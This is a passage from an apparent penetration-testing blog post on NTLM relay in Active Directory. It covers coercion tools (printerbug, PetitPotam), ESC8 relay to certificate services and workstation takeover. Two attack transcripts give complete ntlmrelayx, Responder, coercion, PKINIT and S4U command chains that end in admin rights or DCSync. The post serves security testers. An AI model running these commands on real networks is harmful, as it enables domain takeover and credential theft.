flow:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8y7I!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8y7I!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 424w, https://substackcdn.com/image/fetch/$s_!8y7I!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 848w, https://substackcdn.com/image/fetch/$s_!8y7I!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 1272w, https://substackcdn.com/image/fetch/$s_!8y7I!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8y7I!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png" width="1456" height="486" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:486,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!8y7I!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 424w, https://substackcdn.com/image/fetch/$s_!8y7I!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 848w, https://substackcdn.com/image/fetch/$s_!8y7I!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 1272w, https://substackcdn.com/image/fetch/$s_!8y7I!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761b5dec-0dc6-406e-bc1e-b822155d77c6_1748x584.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Check out this <a href="https://web.archive.org/web/20250514173146mp_/https://en.hackndo.com/ntlm-relay/">post</a> for much more technical detail on the above.</p><p>There are some standard variations of this, a good example being cross-protocol relay of HTTP authentication to LDAP for Active Directory enumeration or escalation, a capability offered by <code>ntlmrelayx</code>. These attack chains are still entirely more common than we&#8217;d hope to see. However, there are more encounters nowadays with networks where precaution has been taken through disabling LLMNR/NBT-NS and/or enabled SMB signing. This can make your relay toolkit harder to use - but not impossible.</p><p>Keep these two [<a href="https://web.archive.org/web/20250514173146mp_/https://www.thehacker.recipes/~/files/v0/b/gitbook-28427.appspot.com/o/assets%2F-MHRw3PMJtbDDjbxm5ub%2F-MhIMLgS9LWega9f__Oh%2F-MQNyCmNNlnr6fLL_SCF%2Fntlm_relay_mitigation_chart.png?alt=media&amp;token=6547487a-5a35-45f0-a9b5-7779a4b02722">1</a>, <a href="https://web.archive.org/web/20250514173146mp_/https://www.thehacker.recipes/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHRw3PMJtbDDjbxm5ub%2Fuploads%2FYhI0upGYTkhDEbm8vyHX%2FNTLM%20relay.drawio.png?alt=media&amp;token=317e28f8-d83f-4c95-aa8c-7302adb2319f">2</a>] graphics in mind before continuing below (taken from another great NTLM relay resource <a href="https://web.archive.org/web/20250514173146mp_/https://www.thehacker.recipes/ad/movement/ntlm/relay">here</a>).</p><h4>A Word on Machine Authentication Coercion</h4><p>Something I don&#8217;t think existed (at least publicly) at the time of Marcello&#8217;s 2017 guide was a mechanism by which an attacker could force a remote machine to authenticate back to an arbitrary IP address. Since then, Lee Christensen (<a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/tifkin">@tifkin_</a>) has published the printerbug (2018), as a part of research related to <a href="https://web.archive.org/web/20250514173146mp_/https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d">forest trusts</a>, and during the summer of 2021, Gilles Lionel (<a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/topotam77">@topotam77</a>) published PetitPotam. Most recently, Charlie Bromberg (<a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/_nwodtuhs">@_nwodtuhs</a>) published a PoC, ShadowCoerce, which is more targeted at domain controllers.</p><p>Each of these take advantage of different Windows RPC functions in a way that open the door for an authenticated attacker to coerce a remote machine to authenticate back to an attacker-controlled host. (Side note: there is an amazing <a href="https://web.archive.org/web/20250514173146mp_/https://itm4n.github.io/from-rpcview-to-petitpotam/">blog</a> about searching for these.) Attacks based off these coercion techniques are somewhat comparable to the <a href="https://web.archive.org/web/20250514173146mp_/https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/">PrivExchange</a> scenario.</p><p>The ability to force a machine to authenticate to you, by default over SMB, has spawned some interesting new use cases, described below. You can of course, still try to abuse this captured authentication as you normally would with ntlmrelayx, with the caveat that the captured computer authentication likely requires local admin privileges to your relay target. You can query for this in BloodHound:</p><pre><code><code>MATCH p = (m:Computer)-[r1:AdminTo]-&gt;(n:Computer) RETURN p UNION ALL MATCH p = (c:Computer)-[r2:MemberOf|HasSIDHistory*1..]-&gt;(g:Group)-[r3:AdminTo]-&gt;(d:Computer) RETURN p</code></code></pre><h4>ADCS Compromise via NTLM Relay</h4><p>As a result of the <a href="https://web.archive.org/web/20250514173146mp_/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf">Certified Pre-Owned</a> research, the attack dubbed <em>ESC8</em> became very popular. This involves relaying coerced machine account authentication to an ADCS (Active Directory Certificate Services) web enrollment service (which accepts NTLM auth, by default) and obtaining a certificate that enables domain authentication as the target. Here&#8217;s the flow for taking over a workstation or server in this manner:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KYZG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KYZG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 424w, https://substackcdn.com/image/fetch/$s_!KYZG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 848w, https://substackcdn.com/image/fetch/$s_!KYZG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 1272w, https://substackcdn.com/image/fetch/$s_!KYZG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KYZG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png" width="1456" height="565" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:565,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!KYZG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 424w, https://substackcdn.com/image/fetch/$s_!KYZG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 848w, https://substackcdn.com/image/fetch/$s_!KYZG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 1272w, https://substackcdn.com/image/fetch/$s_!KYZG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ba0a5a4-cd57-41e1-9c6e-de7fab30f755_1728x670.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If your target is a domain controller, there&#8217;s no need for S4U. Once you have a TGT you can just go right to DCSync. That&#8217;s probably the most well documented variation of this attack, but it&#8217;s usually possible to target any system in this manner. (Targeting a DC in this attack may not even require a compromised credential for PetitPotam, but we&#8217;ll come back to that.)</p><h5>Example Attack Transcript</h5><pre><code><code># https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
python3 ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template [DomainController|Machine] -smb2support

# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python3 printerbug.py domain.local/user:pass@target.domain.local &lt;attacker ip&gt;

# OR
# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
python3 PetitPotam.py -u user -p pass -d domain.local &lt;attacker ip&gt; target.domain.local

# Obtain TGT using https://github.com/dirkjanm/PKINITtools
# Use the base64 certificate blob from ntlmrelayx, or decode the base64 to a file and use the -cert-pfx flag
python3 gettgtpkinit.py domain.local/target\$ target.ccache -pfx-base64 &lt;base64 blob&gt;

# Obtain a TGS using S4U2Self to obtain admin rights on the target
python3 gets4uticket.py kerberos+ccache://domain.local\\target\$:target.ccache@dc.domain.local cifs/target.domain.local@domain.local administrator@domain.local administrator.ccache -v</code></code></pre><h4>Workstation Takeover via NTLM Relay</h4><p>I won&#8217;t spend too much time on this scenario since I&#8217;ve posted more in depth about the shadow credentials variation of this attack <a href="https://web.archive.org/web/20250514173146mp_/https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition">here</a>. In short, if you can relay your coerced authentication to a DC over LDAP(S) there are two potential ways you can obtain admin rights to the target: shadow credentials and resource-based constrained delegation (RBCD). A great post describing the RBCD variation can be found <a href="https://web.archive.org/web/20250514173146mp_/https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb">here</a>.</p><p>The trick here is that SMB authentication can&#8217;t usually be relayed over LDAP due to session signing. A good alternative is coercing auth to a WebDAV backconnect, but this requires the target to have the Web Client service running, generally limiting this attack to workstations. Give the articles I linked to above a read for more details and examples!</p><p>Keeping up with the visual breakdown, these two workstation takeover scenarios look like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QZ7_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QZ7_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 424w, https://substackcdn.com/image/fetch/$s_!QZ7_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 848w, https://substackcdn.com/image/fetch/$s_!QZ7_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 1272w, https://substackcdn.com/image/fetch/$s_!QZ7_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QZ7_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png" width="1456" height="580" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:580,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!QZ7_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 424w, https://substackcdn.com/image/fetch/$s_!QZ7_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 848w, https://substackcdn.com/image/fetch/$s_!QZ7_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 1272w, https://substackcdn.com/image/fetch/$s_!QZ7_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6ed13afe-7e39-4923-bde5-a238237397a0_1682x670.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>Example Attack Transcript</h5><pre><code><code># https://github.com/ShutdownRepo/impacket/tree/pywhisker
python3 ntlmrelayx.py -t ldap://dc.domain.local --shadow-credentials --shadow-target target\$

# https://github.com/lgandx/Responder
# SMB and HTTP off
# Will poison the name in your UNC path below, if target attempts to resolve over LLMNR/NBT-NS
./Responder.py -I eth0 -w

# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python3 printerbug.py domain.local/user:pass@target.domain.local badhost@80/path

# OR
# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
python3 PetitPotam.py -u user -p pass -d domain.local badhost@80/path target.domain.local

# Obtain TGT using https://github.com/dirkjanm/PKINITtools
# pfx file and pfx password will be generated by ntlmrelayx
python3 gettgtpkinit.py domain.local/target\$ target.ccache -cert-pfx &lt;pfx file path&gt; -pfx-pass &lt;pfx password&gt;

# Obtain a TGS using S4U2Self to obtain admin rights on the target
python3 gets4uticket.py kerberos+ccache://domain.local\\target\$:target.ccache@dc.domain.local cifs/target.domain.local@domain.local administrator@domain.local administrator.ccache -v</code>&#8205;</code></pre><h4>Substituting Initial Account Compromise with More NTLM Relay</h4><p>Why not crank up the difficulty? Up until this point, the authentication coercion + relay scenarios I&#8217;ve covered have been using a previously known/compromised account to kick off the coercion mechanism. These attacks are still potentially viable if you <em>do not</em> own a credential due to the fact that domain controllers without an August 2021 patch are vulnerable to unauthenticated PetitPotam. You may know this already, as the big attack vector floating around after PetitPotam&#8217;s release was unauthenticated DC compromise through relaying to an ADCS web enrollment endpoint. However, the shadow credentials/RBCD attack vector can leverage this too by wrapping in an extra round of relaying.</p><p>The first time I saw possibility mentioned, was by <a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/gladiatx0r">@gladiatx0r</a> in a <a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/gladiatx0r/status/1431273725664665604">tweet</a>:&#8205;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bErF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bErF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 424w, https://substackcdn.com/image/fetch/$s_!bErF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 848w, https://substackcdn.com/image/fetch/$s_!bErF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 1272w, https://substackcdn.com/image/fetch/$s_!bErF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bErF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png" width="604" height="649.3" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1290,&quot;width&quot;:1200,&quot;resizeWidth&quot;:604,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!bErF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 424w, https://substackcdn.com/image/fetch/$s_!bErF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 848w, https://substackcdn.com/image/fetch/$s_!bErF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 1272w, https://substackcdn.com/image/fetch/$s_!bErF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2f72c1e-3429-415c-9b92-e8b3c1640e91_1200x1290.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The overall attack flow looks like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KbOz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KbOz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 424w, https://substackcdn.com/image/fetch/$s_!KbOz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 848w, https://substackcdn.com/image/fetch/$s_!KbOz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 1272w, https://substackcdn.com/image/fetch/$s_!KbOz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 1456w" sizes="100vw"><img 